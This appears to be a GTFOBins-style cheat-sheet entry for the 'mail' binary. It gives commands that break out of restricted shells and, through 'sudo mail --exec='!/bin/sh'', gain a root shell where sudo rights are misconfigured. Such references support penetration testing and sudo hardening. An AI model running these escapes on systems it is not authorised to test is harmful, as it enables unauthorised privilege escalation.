.. / mail

Star

• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• GNU version only.

  mail --exec='!/bin/sh'

• This creates a valid Mbox file which may be required by the binary.

  TF=$(mktemp)
  echo "From nobody@localhost $(date)" > $TF
  mail -f $TF
  !/bin/sh

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• GNU version only.

  sudo mail --exec='!/bin/sh'